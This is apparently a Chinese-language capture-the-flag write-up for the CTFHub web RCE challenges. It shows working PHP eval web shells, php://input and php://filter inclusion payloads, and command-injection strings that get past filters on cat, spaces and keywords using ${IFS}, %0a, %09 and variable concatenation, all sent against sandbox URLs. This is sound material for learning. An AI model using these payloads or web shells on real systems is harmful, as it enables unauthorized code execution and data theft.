CTFHUB-web-RCE

eval执行

 <?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?> 

看下当前目录

?cmd=print_r(getcwd());

CTFHUB-web-RCE_第1张图片

可以执行命令

print_r(system('ls'));

CTFHUB-web-RCE_第2张图片

查看上级目录?cmd=print_r(system('ls ../../../'));

CTFHUB-web-RCE_第3张图片

直接cat flag?cmd=print_r(system('cat ../../../flag_17045'));

CTFHUB-web-RCE_第4张图片

==flag{ctfhub{1386122887aeba8899f58668} ==

容易导致其他问题的函数

assert()										pcntl_exex()
array_filter()									preg_replace()
array_map()										require()
array_reduce()									require_once()
array_diff_uassoc()								register_shutdown_function()
array_diff_ukey()								register_tick_function()
array_udiff()									set_error_handler()
array_udiff_assoc()								shell_exec()
array_udiff_uassoc()							stream_filter_register()
array_intersect_assoc()							system()
array_intersect_uassoc()						usort()
array_uintersect()								uasort()
array_uintersect_assoc()						uksort()
array_uintersect_uassoc()						xml_set_character_data_handler()
array_walk()									xml_set_default_handler()
array_walk_recursive()							xml_set_element_handler()
create_function()								xml_set_external_entity_ref_handler()
escapeshellcmd()								xml_set_notation_decl_handler()
exec()											xml_set_processing_instruction_handler()
include											xml_set_start_namespace_decl_handler()
include_once()									xml_set_unparsed_entity_decl_handler()
ob_start()
passthru()

文件包含

CTFHUB-web-RCE_第5张图片

有个shell文件

<?php eval($_REQUEST['ctfhub']);?>

包含shell.txt后可以通过post来传递参数,注意后面要加上个 ‘;’

CTFHUB-web-RCE_第6张图片

直接cat /flag

CTFHUB-web-RCE_第7张图片

flag: ctfhub{f2b453955e0f17c23a1bc9ac}

php://input

  • php://input

可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype=”multipart/form-data” 的时候 php://input 是无效的。

用法:?file=php://input 数据利用POST传过去。

  • php://input (读取POST数据)

碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据,具体函数意义下一项;

利用post传参写入一句话木马

<?PHP fputs(fopen('shell.php','w'),'');?>

CTFHUB-web-RCE_第8张图片

flag: ctfhub{cb3d5ba59ebc6b2db398812f}

远程包含

CTFHUB-web-RCE_第9张图片

PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

allow_url_fopen = On(是否允许打开远程文件)

allow_url_include = On(是否允许include/require远程文件)

看php文件这两个都是打开的

CTFHUB-web-RCE_第10张图片

这个得要台服务器,或者自个搭一个用内网穿透也行,远程包含自己的文件

CTFHUB-web-RCE_第11张图片

比如之前的shell.txt

<?php eval($_REQUEST['ctfhub']);?>

我这里就不用了

有回显,还是能用上面的那个php://input来利用

post直接传参

CTFHUB-web-RCE_第12张图片

还是直接获取flag

<?php system('cat /flag')?>

flag : ctfhub{f5517ca3b04b51aa31b49aa4}

读取源代码

使用: php://filter(本地磁盘文件进行读取)
元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。

用法:?filename=php://filter/convert.base64-encode/resource=xxx.php

提示flag在根目录下,直接看就行

?file=php://filter/read=convert.base64-encode/resource=../../../../../../flag

CTFHUB-web-RCE_第13张图片

base64解码

CTFHUB-web-RCE_第14张图片

flag: ctfhub{6b3a6d0e01d6832e740d3074}

命令注入

加上个分号,执行完ping就会执行ls命令

CTFHUB-web-RCE_第15张图片

直接查看23032094216117.php,然后看源代码就能看到flag

CTFHUB-web-RCE_第16张图片

ctfhub{27f12d5007ca3d45f7365bc6}

过滤cat

还是一样的操作,只不过他不能用cat命令了

CTFHUB-web-RCE_第17张图片

可以用head命令来代替cat

CTFHUB-web-RCE_第18张图片

其他常用的文本查看命令

cat:从第一行开始显示文本内容(适用于内容较少的)
tac:从最后一行开始显示,是 cat 的逆顺序
more:一页一页的显示文本内容(适用于内容较多的)
less:与 more 类似,但是比 more 更好的是,它可以往前翻页!
head:只看文本的前面几行
tail:只看文本的后面几行
nl:显示文本内容与行号

flag : ctfhub{99e637628c4511cfb8c681c2}

过滤空格

可以用==<==来代替空格

CTFHUB-web-RCE_第19张图片

其他绕过空格的方式

cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt

flag: ctfhub{e9621b066f9456151a78a8d5}

过滤目录分隔符

可以直接进入该目录这样就不用目录分隔符了

CTFHUB-web-RCE_第20张图片

flag : ctfhub{eeab934565c4d501dc410050}

过滤运算符

可以用这些字符代替

linux中:%0a 、%0d 、;&|&&||

windows中:%0a、&|

没啥影响,直接用分号==;== 就行

CTFHUB-web-RCE_第21张图片

flag:ctfhub{9769a758a85a9e8a83d591b4}

综合过滤练习

看了下过滤了很多东东

!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)

可以用==%0a==(换行符)来代替分隔符,用==%09==来代替空格

CTFHUB-web-RCE_第22张图片

过滤flag可以用拼接的方法解决,比如

a=fl
b=ag_is_here
a a ab 就相当于flag_is_here

http://challenge-46b3d1c36e3dccfa.sandbox.ctfhub.com:10800/?ip=0.1.1.1%0aa=fl%0ab=ag_is_here%0als%09$a$b#

CTFHUB-web-RCE_第23张图片

依旧还是用拼接的方法读取文件

http://challenge-46b3d1c36e3dccfa.sandbox.ctfhub.com:10800/?ip=0.1.1.1%0aa=fl%0ab=ag%0ac=_is_here%0acd%09$a$b$c%0ad=_2223101105257.php%0ahead%09$a$b$d#

CTFHUB-web-RCE_第24张图片

flag: ctfhub{e30304e28433f41432168496}

你可能感兴趣的:(CTF,#,CTFHUB,web,CTF,web,rce)